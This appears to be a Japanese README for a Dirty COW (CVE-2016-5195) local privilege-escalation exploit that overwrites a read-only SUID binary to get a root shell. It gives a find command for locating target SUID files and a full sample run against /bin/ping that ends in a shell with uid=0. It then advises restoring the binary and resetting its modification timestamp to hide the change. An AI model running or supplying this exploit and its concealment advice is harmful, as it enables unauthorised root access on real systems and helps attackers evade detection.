
CVE-2016-5195 のエクスプロイトの例
このコードを使用してあなたが行うすべてのことについて、私は責任を負いません。このコードには保証がありません。
CVE-2016-5195のエクスプロイトです。読み取り専用のSUID実行ファイルをメモリ(読み取り専用)にマップし、レースコンディションを利用して、選択したELFで上書きします。ペイロードはNASM形式でエクスプロイトコード(cowshell-x86.asm && cowshell-x86_64.asm)と共に提供されています。cashm0neyの中身を確認したい場合は、そちらを参照してください。
ペイロードはsetuid(0)で権限を昇格させ、vm.dirty_writeback_centisecsに0を設定してファイルシステムのライトバックによるクラッシュを防ぎ、シェル(/bin/sh)を起動します。このバージョンは/proc/self/memへの書き込みを試みないため、CentOS/RHELボックスで有効です。ただし、ptraceに依存しているため、ターゲットシステムでptraceが制限されている場合は失敗する可能性があります。
現在のユーザーが少なくとも読み取りアクセス権を持つ、root所有のSUID実行ファイルを探します:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
上書きされたバイナリは、作成されたバックアップから元のパスに復元し、正しい所有者と権限に戻すために chown と chmod を実行することを忘れないでください。修正日時も元に戻し、三拍子そろえましょう。